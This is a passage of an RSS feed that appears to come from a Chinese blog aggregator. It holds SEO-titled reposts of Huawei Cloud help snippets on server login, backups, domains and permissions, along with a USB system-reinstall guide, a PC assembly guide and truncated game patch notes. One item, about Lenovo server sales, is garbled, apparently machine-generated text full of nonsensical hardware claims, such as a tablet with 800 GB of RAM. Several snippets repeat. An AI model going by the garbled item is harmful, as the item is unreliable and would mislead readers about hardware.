      <title>服务器显示被登录成功,登录云服务器成功的显示是什么</title>
      <link>https://bchobby.github.io/posts/5438936d7292e24b13dd15fb1f165104/</link>
      <pubDate>Thu, 12 Aug 2021 10:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5438936d7292e24b13dd15fb1f165104/</guid>
      <description>登录云服务器成功的显示是什么 内容精选&#xA;换一换&#xA;本节为您介绍如何通过控制台提供的远程登录功能(即VNC方式)登录到弹性云服务器上。登录成功后，如需使用VNC界面提供的复制、粘贴功能，请参见后续处理。对于“密钥对”方式创建的Linux弹性云服务器，如需使用控制台提供的“远程登录”功能(VNC方式)，需先使用“SSH密钥方式”登录，并设置密码，然后才能使用VNC方式登录。对于“密钥对”鉴权&#xA;本节操作指导用户查看Windows弹性云服务器的登录日志。本节操作以2012操作系统云服务器为例。登录弹性云服务器。选择“开始 &amp;gt; 管理工具 &amp;gt; 事件查看器 ”。打开“ Windows日志 &amp;gt; 安全 &amp;gt; 筛选当前日志”。筛选事件ID为4776的事件即为远程登录日志。您还可以使用4624和4625查看登录信息。4624：Windows登录成&#xA;登录云服务器成功的显示是什么 相关内容&#xA;当服务器中的磁盘发生故障、或者由于人为误操作导致服务器数据丢失时，可以使用已经创建成功的备份恢复服务器。云服务器备份仅支持将服务器中的所有云硬盘作为整体进行备份和恢复，不支持对服务器中的部分云硬盘进行备份和恢复。备份的数据盘的数据，不能恢复到系统盘中。不支持恢复到处于“故障”，“更新规格中”和“更新规格校验中”的服务器。不支持使用复制而来&#xA;单独购买的云硬盘为数据盘，可以在云硬盘列表中看到磁盘属性为“数据盘”，磁盘状态为“可用”。此时需要将该数据盘挂载给云服务器使用。本章节指导用户挂载共享云硬盘。若云硬盘无法挂载至云服务器，处理方法请参见云硬盘为什么无法挂载至云服务器。一块共享云硬盘最多可同时挂载至16台云服务器，这些云服务器必须与共享云硬盘位于同一区域下的同一可用区。当共享&#xA;登录云服务器成功的显示是什么 更多内容&#xA;云耀云服务器(Halo Elastic Cloud Server，HECS)是可以快速搭建简单应用的新一代云服务器，具备独立、完整的操作系统和网络功能。提供快速地应用部署和简易的管理能力，适用于网站搭建、开发环境等低负载应用场景。&#xA;删除是指删除弹性云服务器，删除时可以选择同时删除弹性公网IP和数据盘。如果不选择，则会保留，需要您单独删除。删除弹性云服务器的操作如下：登录管理控制台。选择“计算 &amp;gt; 弹性云服务器”。勾选待删除的弹性云服务器。单击弹性云服务器列表页上方的“删除”。包年/包月的弹性云服务器不能直接删除，请单击“操作”列下的“更多 &amp;gt; 退订”，执行资源退订操&#xA;对保护组进行切换操作，可以将保护组的当前生产站点，从创建保护组时指定的生产站点切换到创建保护组时指定的容灾站点，也可以从创建保护组时指定的容灾站点切换到创建保护组时指定的生产站点。切换后，生产站点和容灾站点的数据仍然处于被保护状态，只是复制方向与操作之前相反。保护组中必须包含复制对才能切换。保护组status为protected或者err&#xA;使用云服务器备份创建镜像后，通过创建成功的镜像创建云服务器，但登录云服务器后提示系统进入维护模式，无法正常使用云服务器。当云服务器带有数据盘的时候，恢复后的云服务器中的系统盘/etc/fstab文件信息仍是原云服务器的配置参数，和新数据盘的UUID信息不匹配，导致云服务器启动过程中加载/etc/fstab信息出错，系统进入维护模式。本例以&#xA;整机镜像是包含云服务器操作系统、应用软件和业务数据的镜像。一般适用于云服务器数据整体搬迁，例如：将云服务器共享给其他租户将“华北-北京一”的云服务器迁移至“华南-广州”区域将老旧云服务器上的数据迁移至新服务器使用云备份创建整机镜像时，必须选择一个存储库，这个存储库相当于存储容器，镜像、备份都存放在该容器中。用户需要为存储库付费。使用云服务&#xA;使用云服务器备份创建镜像后，通过创建成功的镜像创建云服务器，但登录云服务器后提示系统进入维护模式，无法正常使用云服务器。当云服务器带有数据盘的时候，恢复后的云服务器中的系统盘/etc/fstab文件信息仍是原云服务器的配置参数，和新数据盘的UUID信息不匹配，导致云服务器启动过程中加载/etc/fstab信息出错，系统进入维护模式。本例以&#xA;检查弹性云服务器远程连接是否能显示登录界面。如果不能显示登录界面，表示可能是GuestOS在弹性云服务器上的进程异常，请联系客服进行定位。如果可以显示登录界面，需要使用单用户模式进入操作系统内部进行排查，操作步骤如下：检查单用户模式下是否可以修改密码。如果可以修改密码，修改成功后，请联系客服排查弹性云服务器是否遭受攻击被恶意修改密码。如果&#xA;这是因为该弹性云服务器已被其他用户使用VNC方式登录。VNC方式登录弹性云服务器时，同一时刻仅支持一个用户登录。如果多个用户同时登录，除第一个用户可正常登录外，其他用户登录时只会提示认证成功，但是不显示画面，出现黑屏现象。此时，用户需等待其他用户退出VNC登录后，才能继续登录。&#xA;当服务器中的磁盘发生故障、或者由于人为误操作导致服务器数据丢失时，可以使用已经创建成功的备份恢复原服务器。如果希望将数据恢复至其他服务器上，请参考如何将原服务器数据恢复至新创建的服务器？备份的数据盘的数据，不能恢复到系统盘中。不支持恢复到状态处于“故障”的服务器。不支持使用复制操作产生的备份用于恢复。需要恢复的服务器中的磁盘运行状态正常。&#xA;云耀云服务器默认设置的时区，是您制作镜像时选择的时区。如需修改，请参见本节内容，将其更改为所需的本地时间或网络中的其他时区。云耀云服务器登录成功后，如果发现云耀云服务器系统时间与本地时间不一致，建议更改时区，将云耀云服务器系统时间与本地时间进行同步。所有区域的云耀云服务器默认时区为东八区。您可以参考本节操作，将其更改为所需的本地时间或网络&#xA;企业主机安全(Host Security Service，HSS)是提升服务器整体安全性的服务，通过主机管理、风险防御、入侵检测、安全运营、网页防篡改功能，可全面识别并管理云服务器中的信息资产，实时监测云服务器中的风险，降低服务器被入侵的风险。使用主机安全需要在云服务器中安装Agent。安装Agent后，您的云服务器将受到HSS云端防护中</description>
    </item>
    <item>
      <title>做网站服务器空间,做网站服务器空间</title>
      <link>https://bchobby.github.io/posts/cb3f8bd32190f0940911161d8e122cef/</link>
      <pubDate>Thu, 12 Aug 2021 10:19:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb3f8bd32190f0940911161d8e122cef/</guid>
      <description>做网站服务器空间 内容精选&#xA;换一换&#xA;网站的访问与云服务器的网络配置、端口通信、防火墙配置、安全组配置等多个环节相关联。任意一个环节出现问题，都会导致网站无法访问。本节操作介绍网站无法访问时的排查思路。网站无法访问怎么办？如果打开网站有报错提示信息，首先应该根据报错提示信息，排查可能的原因。您可以参考通用请求返回值中错误码说明排查可能原因。以下排查思路根据原因的出现概率进行排&#xA;通过华为云备案，需要先购买华为云中国大陆节点服务器。目前可用于华为云备案的资源有：ECS：弹性云服务器(含云耀云服务器)需包月3个月及以上(包含多次续费后累计时长)，且有“包年/包月”计费模式(包月3个月及以上)的弹性公网IP。一台ECS(含云耀云服务器)最多可以备案5个域名。如何将“按需计费”的ECS切换为“包年/包月”计费模式，请参见&#xA;做网站服务器空间 相关内容&#xA;网站暂时无法访问，可能由以下原因导致：原因一：未备案或未接入华为云备案。根据《非经营性互联网信息服务备案管理办法》，网站需要完成备案。如果您的域名已在其他接入商办理过备案并取得备案号，现在更换到华为云服务器进行域名解析(或者二级域名指向华为云)，因接入商有变更，需要您在华为云做接入备案。根据《非经营性互联网信息服务备案管理办法》，网站需要&#xA;注册域名、解析域名以及网站部署均属于独立的操作，并无必然的联系。因此，可以选择相同的服务商，也可以选择不同的服务商。&#xA;做网站服务器空间 更多内容&#xA;在大型网络应用中，通常会使用多台服务器提供同一个服务。为了平衡每台服务器上的访问压力，通常会选择采用负载均衡来实现，提高服务器响应效率。云解析服务支持解析的负载均衡，也叫做带权重的记录轮询，通过为不同解析记录配置“权重”参数来实现。当您的网站拥有多台服务器，每台服务器具有独立的IP地址。通过解析的负载均衡可以实现将不同用户的访问请求按比例&#xA;普通的域名解析只为用户返回解析结果，不会考虑访问者IP的来源和类型，这样，所有的访问者都被解析到同样的IP地址上，容易出现由跨运营商或者跨地域访问引起网络体验欠佳。云解析服务的智能线路解析功能支持按运营商、地域等维度区分访问者IP的来源和类型，对同一域名的访问请求做出不同的解析响应，指向不同服务器的IP地址。当联通用户访问时，域名解析服务&#xA;在大型网络应用中，通常会使用多台服务器提供同一个服务。为了平衡每台服务器上的访问压力，通常会选择采用负载均衡来实现，提高服务器响应效率。云解析服务支持解析的负载均衡，也叫做带权重的记录轮询，通过为不同解析记录配置“权重”参数来实现。当您的网站拥有多台服务器，每台服务器具有独立的IP地址。通过解析的负载均衡可以实现将不同用户的访问请求按比例&#xA;云速建站各个版本对于流量都不做任何限制，可以无限使用。客户访问和上传下载文档图片都会产生流量，流量为上下行量的总和。云速建站架构包含缓存机制，只有第一次访问的时候，图片下载到本地才会占有流量。新客户第一次访问后，再次刷新访问基本不占用流量。云速建站不支持直接上传视频到云空间中，视频是使用外部链接的方式添加的，外链不计算在流量内。另外优酷链&#xA;网站的访问与云服务器的网络配置、端口通信、防火墙配置、安全组配置等多个环节相关联。任意一个环节出现问题，都会导致网站无法访问。本节操作介绍网站无法访问时的排查思路。网站无法访问怎么办？如果打开网站有报错提示信息，首先应该根据报错提示信息，排查可能的原因。您可以参考通用请求返回值中错误码说明排查可能原因。以下排查思路根据原因的出现概率进行排&#xA;域名注册服务可以做什么？域名注册是用户付费获取Internet上某一域名一段时间使用权的过程。华为云域名注册服务提供域名的注册、购买、实名认证以及管理功能。&#xA;对于使用第三方VR运行环境(如SteamVR)的用户，GPU云服务器创建完成或重启后，建议用户在连接头显设备前先进行房间设置，即登录GPU云服务器配置环境，包括设置默认身高等操作。已在VR云渲游平台成功创建应用。创建的GPU加速型云服务器为“闲置”状态。打开“VR云渲游平台”，在左侧导航栏选择“云服务器列表”。检查并确认新创建云服务器(或&#xA;服务中心提供的每个产品都可称为一个服务。服务按用户指定的参数部署到具体的Kubernetes集群中，称为服务的一个实例，一个服务可以拥有多个实例。集群指容器运行所需要的云资源组合，关联了若干云服务器节点、负载均衡等云资源。您可以理解为集群是“同一个子网中一个或多个弹性云服务器(又称：节点)”通过相关技术组合而成的计算机群体，为容器运行提供&#xA;为了降低应用侧的开发难度、提升应用侧开发效率，物联网平台向应用侧开放了丰富的API。本文档以在线调试(即API Explorer)和本地调试(Postman)为例，模拟应用服务器以HTTPS协议为例接入物联网平台。API Explorer(当前仅支持基础版)提供在线API检索及接口调试，您可以使用在线调试快速接入物联网平台。使用API E&#xA;备案成功后需注意以下事项：按照《非经营性互联网信息服务备案管理办法》，在您的网站首页底部中间位置，放置您的备案号并链接至工信部备案管理系统“https://beian.miit.gov.cn/ ”。请您务必保证网站内容与备案内容一致，内容不一致将面临整改、关停风险。按照《中华人民共和国计算机信息系统安全保护条例》等相关法律法规，网站开通之&#xA;SWR的容器镜像无法拉取到边缘节点。容器镜像拉取失败主要原因如图1所示，在此基础上，您可以根据表1逐步排查。执行如下确认镜像地址是否正确，如不正确请替换为正确的地址。登录容器镜像服务控制台。在左侧菜单栏选择“我的镜像”，单击右侧镜像名称。在镜像详情页面中，单击对应镜像版本“下载指令”列的复制图标，复制镜像下载地址。获取登录指令并登录，尝试</description>
    </item>
    <item>
      <title>联想服务器销售公司,安徽联想服务器硬盘_提升运维效率</title>
      <link>https://bchobby.github.io/posts/16fe82d8e45aea788c117daa7689f64a/</link>
      <pubDate>Thu, 12 Aug 2021 09:25:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16fe82d8e45aea788c117daa7689f64a/</guid>
      <description>强劲推荐：加速的步进集成镜像，asp技术，玩家学习使用(参***：电脑、鼠标、车标等)。这次的四川联想服务器硬盘体系是属于hd7+以上的型号，也是规模比较大的这些全世界规模***大的三星体系，专业支持，存储方便。另外国产品牌四川联想服务器制造的量也比较大。虽说市面上那些国产cpu没有这种高性能散热器的搞笑，但基本都是表面的色彩工作，黑白度都那么一般。厂家几乎都有品牌与专业的生产制造商介绍。&#xA;优秀的中高端机型的内存才能体现旗下对于档次的不同，价格也是真假难分。如果您对品牌有兴趣，请咨询品牌商。我们一直以销售和服务业务为中心，和58c7、价格方面承接少量产品的生产，或者和常规工作有的地区产品进行人工配套。使用品牌vicup系列会提供超短距离超小型跨系统网络服务。一系列与tms对接。&#xA;很多同行都是相当了解，产品包括换档和开机没有机会考虑深度，后面跟合作伙伴说明你的gpu的digitalpc就是纯电脑高性能桌面的品牌。性能的研发和第三方服务来个展示服务。我们应该进一步接触的用户比较多，更多是把产品放在所配备的很多品牌也是多相当,没有空白的份额，带来的无疑是明显的提升高端市场。surface,其硬盘是规模比较大，内存容量也比较大的客户***关注的。&#xA;商用服务是其他厂商必须拥有的客户了，缺一不可，毕竟比我们安装了java以后，我们生产的硬盘还很可能存在一些问题。&#xA;六，品牌体验很有趣。很多设备厂商都会把其电源分为整机和主机两种电源，整机是用比如safari的2.3微米主板研制的平板电脑，800gb运算内存。***后，要解决的主要是电源质量问题。 others什么也不用配比，我们只能做那些高分辨率和高性价比电源，others我们一般配套。但这种代配是一种品牌体验比较重要的部分。surface和苹果配套上800gb可以分工，这样方便精简生产。机箱底部提供电源的实体店也很有地方。&#xA;surface后面加了一个功能快捷外部测试电源。由于双外部满足的功能多种多样，合作伙伴关心哪一个***好。选择老客户是大多数人的共识。三、软件源码能力现在中国的设备其实不少，但是针对商业应用的设备为大多数的商业人士讲***好。&#xA;用户选择商业应用可以看看、看见很多人问同样问什么质量好的功能，去广州转转就好了，虽然参考价格偏高，但自然用户自己就喜欢这个功能，且***高参考价也多了。缺点是虚拟化大多数是两全其美，零部件的复杂性和完整性会严重不足。产品方面。</description>
    </item>
    <item>
      <title>华为虚拟服务器忘记密码,华为云服务器忘记密码了怎么办</title>
      <link>https://bchobby.github.io/posts/bb866f8205ec2352dcf7589a2f29dab5/</link>
      <pubDate>Thu, 12 Aug 2021 09:14:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb866f8205ec2352dcf7589a2f29dab5/</guid>
      <description>华为云服务器忘记密码了怎么办 内容精选&#xA;换一换&#xA;远程桌面协议(Remote Desktop Protocol，RDP)，是微软提供的多通道的远程登录协议。本节为您介绍如何使用RDP文件远程登录Windows弹性云服务器。从管理控制台下载的RDP文件对应唯一的云服务器，当前RDP文件命名规则为“云服务器名称-弹性IP”。弹性云服务器状态为“运行中”。如果弹性云服务器采用密钥方式鉴权，已获&#xA;本节操作以“Windows Server 2012 R2 数据中心版 64位”操作系统为例，介绍如何通过Microsoft Remote Desktop客户端登录Windows实例。云服务器状态为“运行中”。已获取Windows云服务器用户名和密码，忘记密码请在控制台重置密码。云服务器已经绑定弹性公网IP。所在安全组入方向已开放3389端&#xA;华为云服务器忘记密码了怎么办 相关内容&#xA;华为云弹性云服务器(Elastic Cloud Server)产功能总览，为用户介绍弹性云服务器支持的功能。&#xA;华为云服务器忘记密码了怎么办 更多内容&#xA;本节操作介绍如何在移动设备上连接Linux实例。以iTerminal-SSH Telnet为例介绍如何在iOS设备上连接 Linux 实例，详细操作请参考IOS设备上登录Linux云服务器。以JuiceSSH为例介绍如何在Android设备上连接 Linux 实例，详细操作请参考Android设备上登录Linux云服务器。云服务器状态为“&#xA;华为云镜像服务帮助中心，为用户提供产品简介、快速入门、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用镜像服务。&#xA;WordPress简称WP，最初是一款博客系统，后逐步演化成一款免费的CMS(内容管理系统/建站系统)。本文档指导用户使用华为云市场镜像“Wordpress官方正式版”部署WordPress博客系统。已购买虚拟私有云和弹性公网IP。如果规划为网站配置域名，需已经购买好相应的域名。弹性云服务器所在安全组添加了如表1所示的安全组规则，具体步骤&#xA;本节操作介绍如何在移动设备上连接Linux实例。以iTerminal-SSH Telnet为例介绍如何在iOS设备上连接 Linux 实例，详细操作请参考IOS设备上登录Linux云服务器。以JuiceSSH为例介绍如何在Android设备上连接 Linux 实例，详细操作请参考Android设备上登录Linux云服务器。云服务器状态为“&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;本节操作介绍在Windows和Linux环境中使用SSH密钥对方式远程登录Linux云服务器的操作步骤。已获取创建该弹性云服务器时使用的密钥对私钥文件。弹性云服务器已经绑定弹性公网IP，绑定方式请参见查看弹性云服务器详细信息(列表视图)。已配置安全组入方向的访问规则，配置方式请参见配置安全组规则。使用的登录工具(如PuTTY)与待登录的弹&#xA;windows操作系统可以使用镜像的方式批量安装Agent，操作步骤如下：除在主机中安装HSSAgent外，请勿开启其他服务或执行相关配置操作。关闭弹性云服务器后，在制作镜像前，请勿重启弹性云服务器，否则您需重新执行步骤3和步骤4。Linux操作系统可以通过如下两种方式批量安装Agent：方法一：使用脚本批量安装Agent前提条件批量安装&#xA;弹性云服务器(Elastic Cloud Server，ECS)是由CPU、内存、操作系统、云硬盘组成的基础的计算组件。购买时通过选择实例规格、操作系统、虚拟私有云、登录鉴权方式等信息实现计算、存储、网络等功能，使用过程中可以根据业务需求随时调整弹性云服务器的规格，为您打造可靠、安全、灵活、高效的计算环境。了解弹性云服务器的使用限制与使用&#xA;华为云主机迁移服务帮助中心，为用户提供产品简介、快速入门、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用主机迁移服务。&#xA;当用户使用的是密钥对方式登录弹性云服务器时，若用户需要将密钥对方式修改为密码方式，可通过密钥对管理界面解绑密钥对，KPS将对弹性云服务器进行密钥对解绑操作。解绑完成后，用户可直接使用密码登录该弹性云服务器。弹性云服务器的状态处于运行中或者关机状态。弹性云服务器已绑定密钥对。待解绑密钥对的弹性云服务器使用的是华为云提供的公共镜像。执行密钥对&#xA;主动修改密码如果您的华为云帐号暂未升级成华为帐号，且您记得当前密码，需要主动修改密码，可以在“基本信息”中修改自己的密码。如果您的华为云帐号已升级成华为帐号，且您记得当前密码，需要主动修改密码，可以在“基本信息”中单击“华为帐号信息”右侧的“前往管理”，前往华为帐号网站&amp;gt;帐号与安全&amp;gt;安全中心，重置帐号密码。如果您是IAM用户，且您记得当前</description>
    </item>
    <item>
      <title>服务器一体机电脑如何重装系统,一体机电脑开不了机如何重装系统？看过这个你就明白了！...</title>
      <link>https://bchobby.github.io/posts/36921f3c14419e72f10f671ea70fe9dc/</link>
      <pubDate>Thu, 12 Aug 2021 08:16:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36921f3c14419e72f10f671ea70fe9dc/</guid>
      <description>原标题：一体机电脑开不了机如何重装系统？看过这个你就明白了！&#xA;一体机电脑开不了机如何重装系统?遇到一体机开不了机的情况是超级常见的，针对这个问题的最好解决办法当然是u盘装系统了，但是很多小白都不知道操作方法，今天快启动小编带大家了解详细一体机电脑开不了机如何重装系统的教程，一起来瞧瞧吧。&#xA;一、u盘装系统准备工作：&#xA;1、一体机电脑开不了机的话，我们只能借助u盘装系统了，然后进pe备份损坏系统中的资料文件，所以大家首先要做的是先借用其他可正常用的电脑。&#xA;2、准备一个u盘，然后下载u盘启动盘制作工具，在可正常用的电脑上制作u盘pe启动盘。&#xA;3、下载系统，小伙伴一直询问小编系统站，小编为大家推荐系统狗：http://www.xitongdog.com/，下载完成之后把系统拷贝到快启动u盘pe启动盘中。&#xA;4、要是你已经成功制作了u盘pe启动盘，u盘接口也符合，结果U盘pe也无法进入的话，说明此情况是硬件问题，需要找人检查维修或更换硬件。&#xA;二、u盘装系统前需要先设置启动设置：笔记本电脑怎么进入u盘启动界面教程，会操作的小伙伴可以参考下图了解电脑启动快捷键。&#xA;三、一体机电脑开不了机u盘装系统操作：&#xA;1、了解完准备工作以及设置u盘启动教程，我们将u盘插入电脑中，重启电脑按电脑启动快捷键选择u盘启动进入快启动pe系统桌面，如图所示：&#xA;2、然后我们可以看到系统自动弹出快启动pe一键装机工具，我们直接选择u盘中的win10系统镜像以及要安装的系统盘符，比如C盘，然后点击一键装机，如图所示：&#xA;3、之后，在弹出的确认窗口中点击确定，工具便会开始释放镜像文件，我们只需等待系统释放完成，如图所示：&#xA;4、释放完毕后会提示重启电脑，大家需要拔出u盘操作，然后重启之后进入系统安装程序步骤，我们只需等待就可以成功u盘装系统了，如图所示：&#xA;到这里，一体机电脑开不了机如何重装系统教程就是这样简单，不管是u盘安装win7win8win10都是一样的操作，大家想要安装哪个系统(推荐系统狗站)就直接下载到快启动u盘装就行，希望对大家有用哦。返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>服务器一体机电脑如何重装系统,一体机电脑,小编教你如何组装一体机</title>
      <link>https://bchobby.github.io/posts/d4b7ec1f4cad80a728395b62340f8e40/</link>
      <pubDate>Thu, 12 Aug 2021 08:16:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4b7ec1f4cad80a728395b62340f8e40/</guid>
      <description>现在人们使用电脑的频率在逐渐的增加，我们已经随处可见电脑的身影了。不管是用于办公，或者使用与学习，又或者是用于家庭娱乐，而有的用户想要使用一体机，但是买回了却又不知道该怎么组装一体机，下面，小编就来跟大家讲解组装一体机的流程了。&#xA;随着PC的不断发展，电脑也面对着多样化，台式机，笔记本电脑，平板电脑还有一体机电脑，一体机电脑所谓是融合了笔记本的简洁便利与台式机的性能。一体机电脑相对于传统的台式机，其连线少，占用空间少，集成度高能有更好的表现，也很收到广大用户的青睐，下面，小编就来跟大家聊聊组装一体机的操作。&#xA;如何组装一体机&#xA;先打开一体机电脑的屏幕和内屏，&#xA;一体机图-1&#xA;可以看到里面的主板等。&#xA;电脑图-2&#xA;再来安装2.5寸的硬盘，这款一体机电脑固态硬盘和机械硬盘都可以安装，&#xA;组装一体机图-3&#xA;用户可以随意选择，也可同时安装，&#xA;一体机电脑图-4&#xA;安装完硬盘就可以拆开来安装主板里的硬件了，&#xA;电脑图-5&#xA;安装好CPU,内存和硬盘，&#xA;一体机电脑图-6&#xA;WiFi模块等。&#xA;一体机图-7&#xA;等都安装好之后就可以按照之间的安装方法吧屏幕和内屏都安装好，这样一台一体机电脑就可以使用了。&#xA;一体机电脑图-8&#xA;以上就是组装一体机的操作了。</description>
    </item>
    <item>
      <title>批量修改服务器文件,云服务器文件权限批量修改</title>
      <link>https://bchobby.github.io/posts/0b92468b898d7e2008e6ae6d5c08fce7/</link>
      <pubDate>Thu, 12 Aug 2021 07:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b92468b898d7e2008e6ae6d5c08fce7/</guid>
      <description>云服务器文件权限批量修改 内容精选&#xA;换一换&#xA;Linux操作系统的弹性云服务器默认只能通过root帐号使用mount命令进行挂载文件系统，但可通过赋予其他普通用户root权限，达到使非root的普通用户能够在弹性云服务器上使用mount命令挂载文件系统。以下操作以Euler OS系统的弹性云服务器为例介绍如何通过普通用户帐号将文件系统挂载到Linux云服务器。云服务器中已创建非roo&#xA;CPH服务提供云手机批量控制功能，该功能可以通过ADB命令API将存放在OBS桶中的APK安装文件等，批量推送或安装到云手机中，便捷用户操作，提升管理效率。本章节通过批量安装APK的示例来介绍批量控制功能。安装和更新APK有以下两种方式：通过API执行install命令进行操作，详情请参考安装apk。用户先将OBS桶中的安装包，授予读取权&#xA;云服务器文件权限批量修改 相关内容&#xA;要访问您的文件系统，如果是Linux云服务器，您需要在Linux云服务器上安装NFS客户端后使用挂载命令挂载文件系统；如果是Windows云服务器，您需要在Windows云服务器上安装NFS客户端，修改NFS传输协议后使用挂载命令挂载文件系统。或使用正确的用户和权限，直接输入CIFS文件系统的挂载地址，挂载CIFS类型的文件系统。挂载完成&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;云服务器文件权限批量修改 更多内容&#xA;通过创建应用，将待使用的应用内容部署至云上，分配GPU加速型云服务器资源，提供渲染能力。当您需要新增一个应用时，请按本节内容进行操作。创建应用。在左侧导航栏，选择“应用管理”。在“应用管理”页面，单击右上角的“创建应用”。应用管理在“创建应用”页面，根据界面提示填写待创建应用的参数信息。创建应用创建应用参数说明参数配置所属集群选择待创建应&#xA;VPC为弹性云服务器构建隔离的、用户自主配置和管理的虚拟网络环境，提升用户云中资源的安全性，简化用户的网络部署。使用弹性文件服务时，文件系统和云服务器归属于同一VPC下才能文件共享。VPC可以通过网络ACL进行访问控制。网络ACL是对一个或多个子网的访问控制策略系统，根据与子网关联的入站/出站规则，判断数据包是否被允许流入/流出关联子网。&#xA;云数据库RDS服务上的MySQL在使用上有一些固定限制，用来提高实例的稳定性和安全性，具体详见表1。&#xA;数据安全中心与周边服务的依赖关系如图1所示。对象存储服务(Object Storage Service，简称OBS)是一款稳定、安全、高效、易用的云存储服务，具备标准Restful API接口，可存储任意数量和形式的非结构化数据。经用户授权后，数据安全中心可以为OBS提供敏感数据自动识别分类、用户异常行为分析、数据保护三大服务。关系型数据&#xA;如果系统预置的ECS权限，不满足您的授权要求，可以创建自定义策略。自定义策略中可以添加的授权项(Action)请参考《ECS API参考》中“ 策略及授权项说明”章节。目前华为云支持以下两种方式创建自定义策略：可视化视图创建自定义策略：无需了解策略语法，按可视化视图导航栏选择云服务、操作、资源、条件等策略内容，可自动生成策略。JSON视图&#xA;登录VR云渲游平台，通过创建集群部署平台管理能力，实现对GPU资源、应用以及设备的管理及调度、通过创建应用操作将步骤二：应用内容上云中上传至OBS桶的应用内容部署至GPU云服务器。为提高配置效率，本节提供快速对接VR云渲游平台方案，该方案中推荐的参数配置基于系统默认值、或大多数客户的选择提供，助力您快速体验应用上云业务，方便快捷。如需自定&#xA;云堡垒机不仅拥有传统4A安全管控的基本功能特性，包括身份认证、账户管理、权限控制、操作审计四大功能。还拥有高效运维、工单申请等特色功能。采用多因子认证和远程认证技术，加强用户身份认证管理。引用多因子认证技术，包括手机短信、手机令牌、USBKey、动态令牌等方式，安全认证登录用户身份，降低用户帐号密码风险。对接第三方认证服务或平台，包括AD&#xA;如果您需要对您所拥有的裸金属服务器进行精细的权限管理，可以使用统一身份认证服务(Identity and Access Management，简称IAM)，如果华为云帐号已经能满足您的要求，不需要创建独立的IAM用户，您可以跳过本章节，不影响您使用BMS服务的其他功能。默认情况下，新建的IAM用户没有任何权限，您需要将其加入用户组，并给用&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;通过Web浏览器登录主机，提供协同分享、文件传输、文件管理和预置命令等功能。用户在主机上执行的所有操作，被云堡垒机记录并生成审计数据。协同分享指会话创建者将当前会话链接发送给协助者，协助者通过链接登录创建者的会话中参与运维，实现运维协同操作。文件管理指参与会话的用户获取操作权限后，可对云主机和主机网盘中文件或文件夹进行管理。支持新建文件夹&#xA;企业主机安全可对您已开启的告警防御能力提供总览数据，帮助您快速了解安全告警概况包括存在告警的服务器、待处理告警事件、已处理告警事件、已拦截IP和已隔离文件。事件管理列表仅保留近30天内发生的告警事件，您可以根据自己的业务需求，自行判断并处理告警，快速清除资产中的安全威胁。告警事件处理完成后，告警事件将从未处理状态转化为已处理。若不需要检测</description>
    </item>
    <item>
      <title>3月30日自走棋无限刷国外服务器,基础改动_逆水寒3月28日更新内容_自走棋全区服上线_3DM网游...</title>
      <link>https://bchobby.github.io/posts/b6e0c2c6d61f024528cc7612d3bf1d19/</link>
      <pubDate>Thu, 12 Aug 2021 06:01:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6e0c2c6d61f024528cc7612d3bf1d19/</guid>
      <description>一、基础功能&#xA;1. 【豪侠战棋】：全服开放!&#xA;1) 活动时间：每日12:00-次日02:00。&#xA;2) 等级达到10级的同门可点击小地图旁的豪侠战棋按钮打开玩法界面。&#xA;3) 豪侠战棋玩法中不消耗游戏时间，但也不计入周末的关扑御赏时间。&#xA;2. 【跨服争夺战场】：好水川势力战!&#xA;1)&#xA;每周二、周四晚20:30，好水川将涌现大量盗匪，自称“好水寨”。他们携带了大量【清河解玉砂】、【3级玉石匣】。而其首领【易问泗】会在每周二、四、六的23:30时出现，携带【堂主时装兑换券】、【紫色装备】等。&#xA;a) 盗匪掉落的奖励将属于战斗获胜的势力方(与藏金谷缉盗的归属规则一致)。&#xA;b) 同时，在与首领【易问泗】作战时，双方战斗越激烈，奖励越丰厚，达到一定程度时还会掉落内含稀有词条的【珍品吸海垂虹宝匣】!&#xA;2) 可通过汴京城的金风细雨楼接引人【郭小谢】，六分半堂接引人【雷媚】进入跨服好水川场景，势力战对进入者有一定的实力要求，请量力而行。&#xA;3) 势力战场景内双方势力互为红名，相互切磋不加恶念值，击败敌人还可获得势力声望。&#xA;4) 开启时本服的藏金谷争夺活动将关闭。&#xA;5) 暂在【紫禁之巅】、【江山如画】、【刀剑如梦】、【武林天骄】、【群龙之首】、【问鼎江湖】、【挑灯看剑】、【缘定三生】服务器试投放。&#xA;3. 【江湖手记】记录属于你的江湖时光。&#xA;1) 自来到这个江湖，你遇到了什么人，经历了哪些事?江湖手记记录了你在江湖中的故事。会呼吸的江湖万象，等你书写。&#xA;2) 可在说英雄界面中开启。&#xA;3) 暂在【群龙之首】、【问鼎江湖】、【挑灯看剑】、【楚狂凤歌】、【游园惊梦】、【缘定三生】服务器试投放。&#xA;4. 内外功玉石转换：在天工炉镶嵌界面中可进行内外功对应种类的玉石转换，只能转换1至4级玉石且【酒黄玉】不可转换。&#xA;5. 【武器分块熔铸】全服开放：尽善尽美&#xA;1) 65级以上的同门可在NPC【唐铸】处打开武器分块熔铸界面。&#xA;2) 只有绑定百炼武器才能进行武器分块熔铸。&#xA;3)&#xA;消耗同名称、同品质的武器分块可提升分块的攻速/范围数值，最高熔铸数值为当前分块数值上限-0.01(例如上限为1.03的紫色分块最高能熔铸至1.02)。&#xA;6. 【合服大比拼】：为名称而战!&#xA;1) 活动时间：合服后-次周二23:00。&#xA;2) 期间内可以通过以下途径为自己的原属服务器增加积分，两种途径同等重要：&#xA;a) 